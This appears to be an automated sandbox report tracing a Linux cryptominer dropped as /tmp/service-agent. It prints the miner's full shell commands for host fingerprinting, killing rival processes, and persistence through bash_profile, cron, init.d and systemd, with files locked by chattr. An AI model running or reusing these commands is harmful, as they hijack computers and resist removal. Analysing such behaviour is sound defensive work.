/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:3330
-
/usr/bin/whoamiwhoami3⤵PID:3341
-
-
/usr/bin/hostnamehostname3⤵PID:3342
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:3343
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3359
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:3361
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:3360
-
-
/usr/bin/idid -u3⤵PID:3363
-
-
/usr/bin/grepgrep -v grep3⤵PID:3366
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:3365
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
- Reads runtime system information
PID:3364
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:3368 -
/usr/bin/idid -u3⤵PID:3369
-
-
/usr/bin/idid -u3⤵PID:3370
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:3371
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:3372
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵PID:3373
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:3374
-
-
/usr/bin/idid -u3⤵PID:3375
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:3376
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:3377
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵
- Attempts to change immutable files
PID:3378
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:3379
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:3380
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:3382
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Attempts to change immutable files
- Creates/modifies Cron job
PID:3383
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:3384
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:3385
-
-
/usr/bin/whichwhich chkconfig3⤵PID:3386
-
-
/usr/bin/whichwhich update-rc.d3⤵PID:3387
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr3⤵PID:3388
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable3⤵
- Flushes firewall rules
PID:3389 -
/usr/local/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:3390
-
-
/usr/local/bin/systemctlsystemctl --quiet disable pwnrig4⤵PID:3390
-
-
/usr/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:3390
-
-
/usr/bin/systemctlsystemctl --quiet disable pwnrig4⤵
- Reads EFI boot settings
PID:3390
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3416
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3416
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3416
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3416
-
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:3442
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3443
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3443
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3443
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
- Enumerates kernel/hardware configuration
PID:3443
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:3469
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:3470
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:3472
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:3473
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:3474
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:3475
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3476
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3476
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3476
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3476
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:3532
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3537
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3537
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:3537
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵
- Reads EFI boot settings
PID:3537
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:3539
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:3539
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:3539
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:3539
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵PID:3567
-
-
/usr/bin/whichwhich systemctl3⤵PID:3568
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:3569
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:3570
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:3571
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:3573
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Attempts to change immutable files
PID:3574
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:3575
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:3576
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵
- Reads EFI boot settings
PID:3602
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵
- Reads EFI boot settings
PID:3629
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵
- Reads EFI boot settings
PID:3656
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:3333
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3335
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3340
-
/usr/bin/headhead -n 11⤵PID:3339
-
/usr/bin/grepgrep "Port "1⤵PID:3338
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3337
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3349
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3348
-
/usr/bin/cutcut -d: -f21⤵PID:3347
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3346
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3352
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3355
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3358
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:3712 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:3738
-
/usr/bin/whoamiwhoami3⤵PID:3749
-
-
/usr/bin/hostnamehostname3⤵PID:3750
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:3751
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3767
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:3769
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:3768
-
-
/usr/bin/idid -u3⤵PID:3771
-
-
/usr/bin/grepgrep -v grep3⤵PID:3774
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:3773
-
-
/usr/bin/psps x3⤵
- Reads CPU attributes
PID:3772
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:3776
-
/usr/bin/idid -u3⤵PID:3777
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:3782
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:3781
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:3780
-
-
/usr/bin/grepgrep -v grep3⤵PID:3779
-
-
/usr/bin/psps aux3⤵
- Reads runtime system information
PID:3778
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:3784
-
/usr/bin/idid -u3⤵PID:3785
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:3741
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3743
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3748
-
/usr/bin/headhead -n 11⤵PID:3747
-
/usr/bin/grepgrep "Port "1⤵PID:3746
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3745
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3757
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3756
-
/usr/bin/cutcut -d: -f21⤵PID:3755
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3754
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3760
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3763
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3766
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:3790
-
/usr/bin/wcwc -l1⤵PID:3791
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:3789
-
/usr/bin/grepgrep -v grep1⤵PID:3788
-
/usr/bin/psps aux1⤵
- Reads runtime system information
PID:3787
-
/usr/bin/hostnamehostname -I1⤵PID:3871
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3873
-
/usr/bin/headhead -n 11⤵PID:3877
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:3878
-
/usr/bin/grepgrep "Port "1⤵PID:3876
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:3875
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:3887
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:3886
-
/usr/bin/cutcut -d: -f21⤵PID:3885
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:3884
-
/usr/bin/awkawk "{print \$1}"1⤵PID:3890
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3893
-
/usr/bin/awkawk "{print \$4}"1⤵PID:3896
-
/usr/bin/hostnamehostname -I1⤵PID:4238
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4240
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4245
-
/usr/bin/headhead -n 11⤵PID:4244
-
/usr/bin/grepgrep "Port "1⤵PID:4243
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4242
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4254
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4253
-
/usr/bin/cutcut -d: -f21⤵PID:4252
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4251
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4257
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4260
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4263
-
/usr/bin/wcwc -l1⤵PID:4288
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:4287
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:4286
-
/usr/bin/grepgrep -v grep1⤵PID:4285
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4284
-
/usr/bin/crontabcrontab -r1⤵PID:4289
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:4290
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
PID:4291
-
/usr/bin/bashbash -c "echo \"* * * * * /var/run/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:4292
-
/usr/bin/crontabcrontab -2⤵PID:4294
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵PID:4295
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵PID:4296
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵
- Attempts to change immutable files
PID:4297
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:4298
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:4299
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:4300
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵PID:4301
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵PID:4302
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:4303
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:4304
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵
- Attempts to change immutable files
PID:4305
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵PID:4306
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵PID:4307
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:4308
-
/tmp/sys-helper/tmp/sys-helper1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:4309
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4310 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵
- Attempts to change immutable files
PID:4311 -
/usr/bin/whoamiwhoami3⤵PID:4322
-
-
/usr/bin/hostnamehostname3⤵PID:4323
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:4324
-
-
-
